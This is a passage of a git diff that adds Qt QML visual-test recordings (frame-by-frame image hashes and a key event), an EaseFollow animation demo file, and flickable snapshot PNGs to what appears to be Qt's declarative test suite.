"932e2a9bbcb7dc5befca8f63d8fa3c95" + } + Frame { + msec: 2080 + hash: "4b8f232ffe0cbc7f900de5737c9f95be" + } + Frame { + msec: 2096 + hash: "9686d294d4e931a5eed0e6b5bda63377" + } + Frame { + msec: 2112 + hash: "969c569d92e3ec51dfbdd20d64432224" + } + Frame { + msec: 2128 + hash: "0cef3550cca9fb5611b836098c517dd1" + } + Frame { + msec: 2144 + hash: "6728080a09aa5d48462a3abb8e285e8a" + } + Frame { + msec: 2160 + hash: "4b904dc671b7fc72db0b6e52543e96bd" + } + Frame { + msec: 2176 + hash: "38232f89dffc9b16db6ea60b02f8d1be" + } + Frame { + msec: 2192 + hash: "6b41f2a0f950eddad217a03e137f9a9b" + } + Frame { + msec: 2208 + hash: "be576ea74c2c404da46fcf1d22de6df9" + } + Frame { + msec: 2224 + hash: "3f44bad4b51ceff2944337064a5efa91" + } + Frame { + msec: 2240 + hash: "e1ab98ac1366e9fd8af62a6a26878c73" + } + Frame { + msec: 2256 + hash: "bd131e1725a54b3dbbb86a29ca8a56a9" + } + Frame { + msec: 2272 + hash: "4d3e8af70f228643803f780c4e36f1a6" + } + Frame { + msec: 2288 + hash: "853a5ab4271af7a7638454cfa883aa33" + } + Frame { + msec: 2304 + hash: "ede9260157000f346900153ce2409278" + } + Frame { + msec: 2320 + hash: "b2b16d8ce1ba89f0d9558ac387e25c3d" + } + Frame { + msec: 2336 + hash: "387d338910453637c5cf80fa35528e56" + } + Frame { + msec: 2352 + hash: "26deabf9cdd994455f2a8802eb0e04dc" + } + Frame { + msec: 2368 + hash: "13939659a315dae1b81e3ea166102edf" + } + Frame { + msec: 2384 + hash: "be92b55bb7562372401b25a9167abb2b" + } + Frame { + msec: 2400 + hash: "ee7bf60d7ee97b7de5e909b9af88df80" + } + Frame { + msec: 2416 + hash: "434313a3bcd1d7582b0d89b9a145ef09" + } + Frame { + msec: 2432 + hash: "0857ca59a283897e3df62b9633488f83" + } + Frame { + msec: 2448 + hash: "76718fc7e3d21b54930bc8307a57733a" + } + Frame { + msec: 2464 + hash: "93a91588b38129053a462b920fd686e3" + } + Frame { + msec: 2480 + hash: "2a2486c52fde915696fd8cbd3682e8db" + } + Frame { + msec: 2496 + hash: "b1f4ab6cc5fb4a3a1b4885f2d1b29277" + } + Frame { + msec: 2512 + hash: "4258afce8a85a2e9ead149e34b43d8fc" + } + Frame { + msec: 2528 + hash: "6672c71b98e13d51ebb523aed9036a72" + } + Frame { + msec: 2544 + hash: "eaa39af7eb78948f433e3b44a9454317" + } + Frame { + msec: 2560 + hash: "0a766bc97bea67d4b848c703eaa6777a" + } + Frame { + msec: 2576 + hash: "0b461ec1885ede1dd96b71cf38bfd3d6" + } + Frame { + msec: 2592 + hash: "15efc929370a3864529080e30db1026a" + } + Frame { + msec: 2608 + hash: "e1529e30ff1e4ea1b092a88e85f2f1f6" + } + Frame { + msec: 2624 + hash: "f29bd9dbf7317e94b885da63f0cb7374" + } + Frame { + msec: 2640 + hash: "e5294e087e2ce0d7d936c0129b6c37ae" + } + Frame { + msec: 2656 + hash: "9c63129e774b391cc398cf5da5c9339c" + } + Frame { + msec: 2672 + hash: "4371d85854419d4b00671176bb7c5a2b" + } + Frame { + msec: 2688 + hash: "dd10b3f50e2fdc56c75f00321634b1cc" + } + Frame { + msec: 2704 + hash: "aac6256b21152a5f1f8c576b667d275e" + } + Frame { + msec: 2720 + hash: "c937c44037b2228590d334df4d56a86f" + } + Frame { + msec: 2736 + hash: "f6c714db51cbd1bdb737afe612c33f9c" + } + Frame { + msec: 2752 + hash: "0bba45af79f3201bc7cf042d5c648f73" + } + Frame { + msec: 2768 + hash: "941b08ddbafea3bd46262c060b1e290b" + } + Frame { + msec: 2784 + hash: "d898918dc2023de239b4ab38f7420960" + } + Frame { + msec: 2800 + hash: "d1a16dc2282329113093d06862e7a871" + } + Frame { + msec: 2816 + hash: "bba5359475f643fbeee240e71e843d4c" + } + Frame { + msec: 2832 + hash: "03cf861f4b6bc767e723e47e95c2448b" + } + Frame { + msec: 2848 + hash: "a64bf158c6199b88bc2db3b741d342f0" + } + Frame { + msec: 2864 + hash: "cf0fe7cb42ba842f1c28c1211adb768d" + } + Frame { + msec: 2880 + image: "easefollow.2.png" + } + Frame { + msec: 2896 + hash: "9b3c6414e4ef5a452a5c92bb0b893fc3" + } + Frame { + msec: 2912 + hash: "7cc7ddec3ac2d8cac33c0b0f80a7544d" + } + Frame { + msec: 2928 + hash: "7dd4e7d606e953c872c57fad786d64aa" + } + Frame { + msec: 2944 + hash: "117cc903a39d99ca22f6556095e6f883" + } + Frame { + msec: 2960 + hash: "c6c9304fd65fee1909473bdb21ac7806" + } + Frame { + msec: 2976 + hash: "8e704fe81c040f49c4d80e7dcc46084d" + } + Frame { + msec: 2992 + hash: "d202d5c0a058e1e088fdd280e59f17bb" + } + Frame { + msec: 3008 + hash: "90c072dea32c056f8bd6d010df681929" + } + Frame { + msec: 3024 + hash: "80b4e99f1b47e64084e295a2a3e1121e" + } + Frame { + msec: 3040 + hash: "41d6307075ec9ae9e92d227921f71289" + } + Frame { + msec: 3056 + hash: "f33de23cf4a5c4881310c6866261d387" + } + Frame { + msec: 3072 + hash: "441faa0a1fc95d66b27479dfc1e40188" + } + Frame { + msec: 3088 + hash: "2314b5f6ba3864abd5e87bc87bd621b0" + } + Frame { + msec: 3104 + hash: "e71e3b0ad953258ceef3101e38283fdb" + } + Frame { + msec: 3120 + hash: "890c3b0e727f136bf1ccc486531c9677" + } + Frame { + msec: 3136 + hash: "2a0d23e6dcc6475c323dbf8eb36e8094" + } + Frame { + msec: 3152 + hash: "692682e82347936f87a66484b428e959" + } + Frame { + msec: 3168 + hash: "cf4005c08789762ad21be1a1d78755c9" + } + Frame { + msec: 3184 + hash: "566184563091626bb20ae679e3ce3b91" + } + Frame { + msec: 3200 + hash: "f88a24ad3bbc2699924bb9a7ff6490b3" + } + Frame { + msec: 3216 + hash: "23f3f63d07b2bdc2b82ff4e8606a634d" + } + Frame { + msec: 3232 + hash: "fe121c71ce469ec6f0bf957eb2f0447b" + } + Frame { + msec: 3248 + hash: "ba217690a33c701afe11842aa8105cbb" + } + Frame { + msec: 3264 + hash: "e5c7c1323108f13ba26f5198cc62c137" + } + Frame { + msec: 3280 + hash: "664f76d3d0008b56be2790c470befc91" + } + Frame { + msec: 3296 + hash: "b3f54070ba64b983ccd2a15941ef4c35" + } + Frame { + msec: 3312 + hash: "8a0ba2ae36ad3811778f3a3bc55743f5" + } + Frame { + msec: 3328 + hash: "bfdc71733ca45a2ba2e8abf751554a62" + } + Frame { + msec: 3344 + hash: "686e4d7bb5ae148d37fc2a1f6004a33a" + } + Frame { + msec: 3360 + hash: "29c553d9fe42fdbbd019d0ead61dffa0" + } + Frame { + msec: 3376 + hash: "bfa2b72c6554a2ed80a3b86f2cbed986" + } + Frame { + msec: 3392 + hash: "074ff90417a947f0a04926d5675d073b" + } + Frame { + msec: 3408 + hash: "6f56f9e0aa40149156ca71d6f8d4476a" + } + Frame { + msec: 3424 + hash: "950ce749bbf572021de2dd1688cb87e6" + } + Frame { + msec: 3440 + hash: "2d0903bd71862dc6f28bd702d955ae99" + } + Frame { + msec: 3456 + hash: "2733adae56728f1b744a4086ecb98052" + } + Frame { + msec: 3472 + hash: "779859d739e799bba15beeb97d18e682" + } + Frame { + msec: 3488 + hash: "9074386cfabe136b8839637e5cd58f57" + } + Frame { + msec: 3504 + hash: "fa5bcbf20c6ad0a218f23d98961229a1" + } + Frame { + msec: 3520 + hash: "5406c94da1717eaa5eb0010564216059" + } + Frame { + msec: 3536 + hash: "27d0a3c3a33c04df843bebd72ef79824" + } + Frame { + msec: 3552 + hash: "270df9c99c2679071b854b3d82337f79" + } + Frame { + msec: 3568 + hash: "5b3945505443a67e7a91f66fe42b4fe3" + } + Frame { + msec: 3584 + hash: "9a2f8565c354cb366725368ed323ccf4" + } + Frame { + msec: 3600 + hash: "6702cb7ccd61c008b511932d7bd5d107" + } + Frame { + msec: 3616 + hash: "f6b86c3a1cc88357f588b6dae11aae30" + } + Frame { + msec: 3632 + hash: "b10c23937f420db72af8abaf126f71c2" + } + Frame { + msec: 3648 + hash: "7d6b0810ffc6e488c8168e19bccb7358" + } + Frame { + msec: 3664 + hash: "c01ef69ec46391909619434e9d9dd0ce" + } + Frame { + msec: 3680 + hash: "a046464fccb0c5ba1f63f8b569821a44" + } + Frame { + msec: 3696 + hash: "8763c526924d882438f9aa9bfb4fe87d" + } + Frame { + msec: 3712 + hash: "dede7a62d6e5c10e8f30caa075bd8dfd" + } + Frame { + msec: 3728 + hash: "3b408e5c986f5bb01d8c3949876b792f" + } + Frame { + msec: 3744 + hash: "0a458f3b17cdd3ea85522779c9346af9" + } + Frame { + msec: 3760 + hash: "fef521f0301cce90af88d37e6d441ec8" + } + Frame { + msec: 3776 + hash: "3d083e0822242b3b37c6839ca91a1f68" + } + Frame { + msec: 3792 + hash: "f8fe013a717e6e61830137bdc78a8b40" + } + Frame { + msec: 3808 + hash: "0ae80ad65dd194043500fa50b5a547a6" + } + Frame { + msec: 3824 + hash: "a53c67fa32ef971eaea202fa5d8a6ad6" + } + Frame { + msec: 3840 + image: "easefollow.3.png" + } + Frame { + msec: 3856 + hash: "41f86bbf0658b127f01e8d46d7ec941b" + } + Frame { + msec: 3872 + hash: "d20f21df127565f9eb87c5d759a638d9" + } + Frame { + msec: 3888 + hash: "85ff94f03cea3e111807e90d062c1367" + } + Frame { + msec: 3904 + hash: "aa637850fe5f05a71ac4c7d31dbb36ee" + } + Frame { + msec: 3920 + hash: "c86a67096c5e62bb73b785cdf6a5b6b1" + } + Frame { + msec: 3936 + hash: "9d53537f2c50a0016bf7bb522b2ec3d8" + } + Frame { + msec: 3952 + hash: "b48630c27c27785ddce568a85d4dc58f" + } + Frame { + msec: 3968 + hash: "01c1bdb6e261cc509f26712b13eeb554" + } + Frame { + msec: 3984 + hash: "af8a44284695fd999acd5944434f0372" + } + Frame { + msec: 4000 + hash: "b156d9d6d5163f007ac4a309d8927ae9" + } + Frame { + msec: 4016 + hash: "2df3715416c3c005f04b66fe1258c0d8" + } + Frame { + msec: 4032 + hash: "96b4a7c6b8542b50fc345b54d38ec82a" + } + Frame { + msec: 4048 + hash: "7e62e757fafa06833444c3a7e1d96ce4" + } + Frame { + msec: 4064 + hash: "5222a8f9366c7d974d0687d05d229069" + } + Frame { + msec: 4080 + hash: "ec96169f4633c3bddfd582feeb8e9ad4" + } + Frame { + msec: 4096 + hash: "cb10db893d1e1cb2a370507dc5679985" + } + Frame { + msec: 4112 + hash: "d7e346c2ac77796bde639bd829b72e85" + } + Frame { + msec: 4128 + hash: "ba5bea8857e4fb444bedd3873563e7db" + } + Frame { + msec: 4144 + hash: "05556fba5d1714f70fd6c2bfb43d213b" + } + Frame { + msec: 4160 + hash: "aeeabf35f9759f045a670a9b9f90dc68" + } + Frame { + msec: 4176 + hash: "131bd453f4c7726e5fdd546252700e2e" + } + Frame { + msec: 4192 + hash: "7c5c3b5bb7a4082e6b9b43640e29f4e2" + } + Frame { + msec: 4208 + hash: "07515e21b7a7895f333e4a8bbd2202eb" + } + Frame { + msec: 4224 + hash: "6cf136f223ac6edd39ba6ed9b4445884" + } + Frame { + msec: 4240 + hash: "84264f5745add8a922101735ed8def84" + } + Frame { + msec: 4256 + hash: "660863d1e4b361f2e5445b417be0d2ad" + } + Frame { + msec: 4272 + hash: "7ceb86f4b16546370d72164d0ca3147c" + } + Frame { + msec: 4288 + hash: "a13e97da9722545ad87ac3c5eb92c497" + } + Frame { + msec: 4304 + hash: "5896b5307cbd609d2062d3607786d40c" + } + Frame { + msec: 4320 + hash: "c8c511115394116e4544c67f615ea5d5" + } + Frame { + msec: 4336 + hash: "59ca5fdf12a735e5c292901b54acccb2" + } + Frame { + msec: 4352 + hash: "155cce2738d34e0eac86f5eb63d638f0" + } + Frame { + msec: 4368 + hash: "83a840c3ae7dbd9a05c17fdd8be07d7a" + } + Frame { + msec: 4384 + hash: "800a15de28b14d88f0ad58fc3f4a2520" + } + Frame { + msec: 4400 + hash: "c8381439a3cd3f9e7f80061023723a6e" + } + Frame { + msec: 4416 + hash: "e3d63000db4b9458b202dece49d1bdba" + } + Frame { + msec: 4432 + hash: "c943e56781695798f3c221f8ab09681a" + } + Frame { + msec: 4448 + hash: "1137ee66d7fbf5a84c33f5ffff15b3dd" + } + Frame { + msec: 4464 + hash: "5a98013cc4462aad18cad8d941f77aa0" + } + Frame { + msec: 4480 + hash: "d0b3748fb49a13c0ad9a68b0e2914921" + } + Frame { + msec: 4496 + hash: "12113f71f9117670acbd7877edded7e0" + } + Frame { + msec: 4512 + hash: "22983424da08cdae7a9c6a8905b37736" + } + Frame { + msec: 4528 + hash: "b2db5618a025cefb2650124c81880c49" + } + Frame { + msec: 4544 + hash: "84fb5e7edc5b42163a83e0cd362b3a46" + } + Frame { + msec: 4560 + hash: "39d6f1ed0f60a0c366c22e1442c455ac" + } + Frame { + msec: 4576 + hash: "702367f6e4aaa2a862e57f9e02a08758" + } + Frame { + msec: 4592 + hash: "ecc75293bc156c560d55cb7d278a4e58" + } + Frame { + msec: 4608 + hash: "e68af8e97ce65376fd7904e599440c92" + } + Frame { + msec: 4624 + hash: "75fe9f766d6cf636cd72d8879a461439" + } + Frame { + msec: 4640 + hash: "162aef147ef4bbb0cd92bd70e4f37f62" + } + Frame { + msec: 4656 + hash: "d879aae8949976c7bad4d97f1e5b5549" + } + Frame { + msec: 4672 + hash: "8a983d7228190721f988de2d72cb3aa2" + } + Frame { + msec: 4688 + hash: "a4f3c63fde664d128cd35b129a4f9a23" + } + Frame { + msec: 4704 + hash: "115fb5f3c9b7f1c28ab379596faba91c" + } + Frame { + msec: 4720 + hash: "ea9600c4d6c77a3b32e59401aa84fe96" + } + Frame { + msec: 4736 + hash: "bd6531fdd9cfd46af2df73bacb31f4c5" + } + Frame { + msec: 4752 + hash: "33bdcf1df50eab5e7963c649fbd32226" + } + Frame { + msec: 4768 + hash: "236e88fb72369a55f9eba4b50712ae85" + } + Frame { + msec: 4784 + hash: "5eb3c14a6296fb3a1c58603b2fc937c8" + } + Frame { + msec: 4800 + image: "easefollow.4.png" + } + Frame { + msec: 4816 + hash: "31d11a1ce6422524241c77603fe53e61" + } + Frame { + msec: 4832 + hash: "44e8b9947026c10b922c84883dd8e889" + } + Frame { + msec: 4848 + hash: "d049e4f7c4bc1849398859a4d630c1b3" + } + Frame { + msec: 4864 + hash: "e83b4757898e4eeef74be8213619fbfa" + } + Frame { + msec: 4880 + hash: "d08f40615f2d5abc6236e856a67575dd" + } + Frame { + msec: 4896 + hash: "d9cb26bf1b8bbafb2aed8f74bd454077" + } + Frame { + msec: 4912 + hash: "aa321b94a6cc53b2ebac80e834c0a908" + } + Frame { + msec: 4928 + hash: "48da37164be156b67a4b3b14e50f2375" + } + Frame { + msec: 4944 + hash: "f522ce7728a4a9e7fad86c72f29bd8f9" + } + Frame { + msec: 4960 + hash: "9bc1d16b4bda596702a3d8a3fad8a5c5" + } + Frame { + msec: 4976 + hash: "5275dccf18745dec6c59b846de17d9ef" + } + Frame { + msec: 4992 + hash: "4eb6babc177b96f69b148d52f56d82d7" + } + Frame { + msec: 5008 + hash: "ccdfb454070ac04c4fe4f3513c52f8c8" + } + Frame { + msec: 5024 + hash: "07f6adad6e8ff4f0eff92c758636a951" + } + Frame { + msec: 5040 + hash: "241e0ad9218d49be477509e008e45548" + } + Frame { + msec: 5056 + hash: "151a482e821779da8a61063f1cc73f8c" + } + Frame { + msec: 5072 + hash: "1499d207c5a3a9bc7bbb84d9c5e35578" + } + Frame { + msec: 5088 + hash: "c253753f653157a5058ef071f16b8bbb" + } + Frame { + msec: 5104 + hash: "ec9fea5a870724a106b952edef7fb466" + } + Frame { + msec: 5120 + hash: "99b673f8ed049d31a2aecabcc46d841d" + } + Frame { + msec: 5136 + hash: "61e77fea693ea55aafbdc94c40c3ab33" + } + Frame { + msec: 5152 + hash: "53e44a3732ee6858d5bd596b4c5d5305" + } + Frame { + msec: 5168 + hash: "5b25d3894a56dc4f4a0aa8f88cb69e23" + } + Frame { + msec: 5184 + hash: "5683ad02f1b9126f4e4ff6b03044fdc6" + } + Frame { + msec: 5200 + hash: "0a3ec255575ec1b70e0b10cf59c7c5fd" + } + Frame { + msec: 5216 + hash: "0f5f46fe3fdf42d4651891f13c8afc7e" + } + Frame { + msec: 5232 + hash: "b6955407245c73e356a460d99dad77be" + } + Frame { + msec: 5248 + hash: "6018b53414921943b37c33fa04a29697" + } + Frame { + msec: 5264 + hash: "ff184d349ce0b648f8c1fce91ae997f6" + } + Frame { + msec: 5280 + hash: "9c112a3a785d970593887eeab72fa7fe" + } + Frame { + msec: 5296 + hash: "00384fb20d4c6cd6236d519d2d734cc3" + } + Frame { + msec: 5312 + hash: "601ea99400e5f50ee9a5a4b74b6f3017" + } + Frame { + msec: 5328 + hash: "9afed04bf7eca24d9b6d31ac84ae59c2" + } + Frame { + msec: 5344 + hash: "1983319c8043bfe403513af7ccb5b924" + } + Frame { + msec: 5360 + hash: "b0244e4e1b61202ede78405415c22bca" + } + Frame { + msec: 5376 + hash: "ec5516b1aaeace8784b04649c51ab40b" + } + Frame { + msec: 5392 + hash: "8ff7d2001594abb588f769bab15406d7" + } + Frame { + msec: 5408 + hash: "64d5fd96a1726aa5276f9b508566676f" + } + Frame { + msec: 5424 + hash: "ab49497a6c825038354f076bdbbbc235" + } + Frame { + msec: 5440 + hash: "6b821e43be932800b20af58a7b5a1ff7" + } + Frame { + msec: 5456 + hash: "683a2902300f930e2a81a82dc37c583b" + } + Frame { + msec: 5472 + hash: "86d7946d7fbb66369ccbf26430939225" + } + Frame { + msec: 5488 + hash: "fb38f5fb6555fc14e95a47c595a6ea0c" + } + Frame { + msec: 5504 + hash: "3878f685d9fa3299e9ffe78c22595387" + } + Frame { + msec: 5520 + hash: "b48840a68ff007901b02332c7177f315" + } + Frame { + msec: 5536 + hash: "9d847abc99220b04aceef12e5c09aac0" + } + Frame { + msec: 5552 + hash: "9893ac89fda64d96ec4140c3c87e17a5" + } + Frame { + msec: 5568 + hash: "cd94e1c36e6be9877cd9c12df42bd968" + } + Frame { + msec: 5584 + hash: "c1ce5e53b74af022dc103ad74ff5f1af" + } + Frame { + msec: 5600 + hash: "b3630e08eac02a9578a00b01baabaaba" + } + Frame { + msec: 5616 + hash: "0eb9241aa1f9526c1e24ba76d630805c" + } + Frame { + msec: 5632 + hash: "1b532ae7f9253469467522d4ca66c47b" + } + Frame { + msec: 5648 + hash: "7e6e49079ed6330da2e337a5e4ffd730" + } + Frame { + msec: 5664 + hash: "0391d668f4b906b244a5f5c1713573c2" + } + Frame { + msec: 5680 + hash: "8070fa3280d0d64bf976d4a276359c4c" + } + Frame { + msec: 5696 + hash: "f7d0d36a2d40c798f56ac7ecc1effca6" + } + Frame { + msec: 5712 + hash: "9f8e35ee5080e811c670c480a9c2bd9f" + } + Frame { + msec: 5728 + hash: "c7fea75a43a59a11aa504df32afcdaf8" + } + Frame { + msec: 5744 + hash: "7e549a93ffc6ddcc3d8111f10c05b29e" + } + Frame { + msec: 5760 + image: "easefollow.5.png" + } + Frame { + msec: 5776 + hash: "92d298262f610a2dafa095e3d67c80af" + } + Frame { + msec: 5792 + hash: "db8826b0b2feece0999863b8827a6234" + } + Frame { + msec: 5808 + hash: "12c7050e8094bb39212aed0163666d1a" + } + Frame { + msec: 5824 + hash: "69531beace5c749bf90160a4b25f736a" + } + Frame { + msec: 5840 + hash: "ce873e4dbc8853183b54d59991b2e030" + } + Frame { + msec: 5856 + hash: "fa1078973634578d69527402b11fb7e0" + } + Frame { + msec: 5872 + hash: "1e3b3db590567c0afd1913101192cda9" + } + Frame { + msec: 5888 + hash: "7b9e097018278b784973a546da3d401a" + } + Frame { + msec: 5904 + hash: "a7b0667093888480de6697280aeea9ba" + } + Frame { + msec: 5920 + hash: "e381f2422ead86575abf643b0b0c9797" + } + Frame { + msec: 5936 + hash: "44b08f5a0de2a6955e02f67753f409c8" + } + Frame { + msec: 5952 + hash: "db04665e58448ecc7f95baa3e4ea79a5" + } + Frame { + msec: 5968 + hash: "0e4aae728d8d543538a9446c41e18e91" + } + Frame { + msec: 5984 + hash: "e3cd1bbb1d9963e5c74d36e526a871b0" + } + Frame { + msec: 6000 + hash: "bcd893a0e200ddda4e1468c159018865" + } + Frame { + msec: 6016 + hash: "9c5293356aa6312f909e655e9bcf961b" + } + Frame { + msec: 6032 + hash: "0bab7b9166f6af554d4fa0badeec739e" + } + Frame { + msec: 6048 + hash: "e74996581f0aaeced118c5cbfd977d90" + } + Frame { + msec: 6064 + hash: "5d128eb20a2a23da8c2d9a35293e5769" + } + Frame { + msec: 6080 + hash: "ebbbc343698287faf7ffa7526a726b54" + } + Frame { + msec: 6096 + hash: "d812172192cc19590f9a2d7dbf970439" + } + Frame { + msec: 6112 + hash: "60263addb1b4b5ac43f8199b8ed77e40" + } + Frame { + msec: 6128 + hash: "702a1ff2876eaaa59359811bb6437c5b" + } + Frame { + msec: 6144 + hash: "8f81dc43decce5094ee7a089f0009730" + } + Frame { + msec: 6160 + hash: "efda5dd9edd83a0da089d0b28806c6b6" + } + Frame { + msec: 6176 + hash: "7274a33a7a5272d7abdaf41f4b2bf664" + } + Frame { + msec: 6192 + hash: "0cc80077476e721a3da85c17cc56a65e" + } + Frame { + msec: 6208 + hash: "e65a534f0e7e70520a9c2cfa09ee8159" + } + Frame { + msec: 6224 + hash: "b05b514c63bd8998785382e6a9cbd849" + } + Frame { + msec: 6240 + hash: "10a04d641e0cc65c120d8bcf2f3e54c8" + } + Frame { + msec: 6256 + hash: "68418e2206a496dd15a05b50fec6f87e" + } + Frame { + msec: 6272 + hash: "6549e0989e1c86e3a7eb0dcc8dd31380" + } + Frame { + msec: 6288 + hash: "bd0193c2cbc8958f674f4ec52a693b72" + } + Frame { + msec: 6304 + hash: "746440b45a3688dbd32b34c57454e956" + } + Frame { + msec: 6320 + hash: "6b54ee8af30be2178e8b3afab5dcb4c7" + } + Frame { + msec: 6336 + hash: "ba2fbad3fe2fe25ec0c0c542659168dc" + } + Frame { + msec: 6352 + hash: "84bd72703bd8200f8f090783d06ae451" + } + Frame { + msec: 6368 + hash: "17c9fb063280c2ee4cb4a13273bbb199" + } + Frame { + msec: 6384 + hash: "df28fd55719f5c2d164596d02c2faff2" + } + Frame { + msec: 6400 + hash: "c2e280e78e892200d40022d17ce695b7" + } + Frame { + msec: 6416 + hash: "c657caa0c5158e178ec5df80bbad6bcb" + } + Frame { + msec: 6432 + hash: "d91f4f6ec6503fe8280f9b02dd11e64a" + } + Frame { + msec: 6448 + hash: "0fb9400cdca9dbd4035fbf8af9952360" + } + Frame { + msec: 6464 + hash: "cac0e1b4aa094306b95f90ede4705391" + } + Frame { + msec: 6480 + hash: "e60a4bb14300a937a767effee931c60f" + } + Frame { + msec: 6496 + hash: "8b461397e3f210ee7e9305dcab2af2db" + } + Frame { + msec: 6512 + hash: "6ce9ec0942dd06c9f73929a7e176852c" + } + Frame { + msec: 6528 + hash: "da36e254635eea854a6552ba008117f9" + } + Frame { + msec: 6544 + hash: "0bec6402b5eb09d05ce8e9ff5253ea8d" + } + Frame { + msec: 6560 + hash: "72f6610527d395ca590eda166ef6bc4e" + } + Frame { + msec: 6576 + hash: "622ae3fd47adb2432e2a40d3c5539393" + } + Frame { + msec: 6592 + hash: "0b18c49e2bbf9370216e06b555faf183" + } + Frame { + msec: 6608 + hash: "0c090bb975fb883301b52479fd6f5fdf" + } + Frame { + msec: 6624 + hash: "c4205d7ecb7327426d9591e77247acab" + } + Frame { + msec: 6640 + hash: "f0e0075243e4b8aa97056248fe6033ed" + } + Frame { + msec: 6656 + hash: "47f99b40a8764ee9d9e429061fb7acb2" + } + Frame { + msec: 6672 + hash: "49e8c1e974b0716570d85109b53817a5" + } + Frame { + msec: 6688 + hash: "72f981bad831b6ed858009527902f734" + } + Frame { + msec: 6704 + hash: "e959a0493b06369a429f90f66cb65977" + } + Frame { + msec: 6720 + image: "easefollow.6.png" + } + Frame { + msec: 6736 + hash: "93470d983282f24425558f47ad705154" + } + Frame { + msec: 6752 + hash: "cdccbe1a7c7abd4a6a6ee754ed0c9759" + } + Frame { + msec: 6768 + hash: "0e1b7b5332a9fcdb492db5314a2a0267" + } + Frame { + msec: 6784 + hash: "1e1ffe3439aab51d0b325474e7d8dc28" + } + Frame { + msec: 6800 + hash: "e8e7e9b5871caf77f15678616d6c9c8a" + } + Frame { + msec: 6816 + hash: "9771fff3b7752154d093c038bea73d28" + } + Frame { + msec: 6832 + hash: "1af851ea214cbddb0e3a743084a5cf6b" + } + Frame { + msec: 6848 + hash: "1566182a7e29bbb738705a90c4909617" + } + Frame { + msec: 6864 + hash: "feed650e1d948fe622234d212fb745f2" + } + Frame { + msec: 6880 + hash: "3cd3d063275b91f9680717421c118ba4" + } + Frame { + msec: 6896 + hash: "c1f088801334762cd499e7cc70e1e59a" + } + Frame { + msec: 6912 + hash: "e8f8d153e7a027a5092a9209411d97f7" + } + Frame { + msec: 6928 + hash: "f11747c3533b4b2fc77a64ca0cace8b0" + } + Frame { + msec: 6944 + hash: "21618c67a2a8bbce86fc872060ad40e8" + } + Frame { + msec: 6960 + hash: "02da96335db74b87ceefe91b1dfe72e6" + } + Frame { + msec: 6976 + hash: "2b2e4143143ead8dea5865fd782f1775" + } + Frame { + msec: 6992 + hash: "13e710900b05e26cdb030b1e2b2be715" + } + Frame { + msec: 7008 + hash: "29e8995d17aac4d02034debcbb9fcb98" + } + Frame { + msec: 7024 + hash: "1099db1b3e4c69e84c6ab1b7c311bf1e" + } + Frame { + msec: 7040 + hash: "cc7cb720043334f1eeb385dce4389dc2" + } + Frame { + msec: 7056 + hash: "34c7a62c1bc7261e2fd31c40068b37a7" + } + Frame { + msec: 7072 + hash: "7fafbe05cbcaa21893e3aa0f1fcfb5a0" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 7088 + hash: "5b26c8cf047706633795a8ed3e703a89" + } + Frame { + msec: 7104 + hash: "e0774bf9e74d0cde81c5cb216a9258fc" + } + Frame { + msec: 7120 + hash: "0870262f643245e13f4fba79fd575897" + } + Frame { + msec: 7136 + hash: "8faf0d050bb435ade8af5012c1a6b0dc" + } + Frame { + msec: 7152 + hash: "382c037895cc39a6870db57b5016c01f" + } + Frame { + msec: 7168 + hash: "f1f5a2cbc103ab1bee9f537fa8266e03" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml new file mode 100644 index 0000000..121328b --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/easefollow.qml @@ -0,0 +1,40 @@ +import Qt 4.6 + +Rectangle { + width: 800; height: 240; color: "gray" + + Rectangle { + id: rect + width: 50; height: 20; y: 30; color: "black" + SequentialAnimation on x { + loops: Animation.Infinite + NumberAnimation { from: 50; to: 700; duration: 2000 } + NumberAnimation { from: 700; to: 50; duration: 2000 } + } + } + + Rectangle { + width: 50; height: 20; y: 60; color: "red" + EaseFollow on x { source: rect.x; velocity: 400 } + } + + Rectangle { + width: 50; height: 20; y: 90; color: "yellow" + EaseFollow on x { source: rect.x; velocity: 300; reversingMode: EaseFollow.Immediate } + } + + Rectangle { + width: 50; height: 20; y: 120; color: "green" + EaseFollow on x { source: rect.x; reversingMode: EaseFollow.Sync } + } + + Rectangle { + width: 50; height: 20; y: 150; color: "purple" + EaseFollow on x { source: rect.x; maximumEasingTime: 200 } + } + + Rectangle { + width: 50; height: 20; y: 180; color: "blue" + EaseFollow on x { source: rect.x; duration: 300 } + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.0.png new file mode 100644 index 0000000..016902b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.1.png new file mode 100644 index 0000000..a654936 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.2.png new file mode 100644 index 0000000..cfd5517 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.3.png new file mode 100644 index 0000000..016902b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.qml new file mode 100644 index 0000000..46086f9 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.qml @@ -0,0 +1,1199 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 32 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + 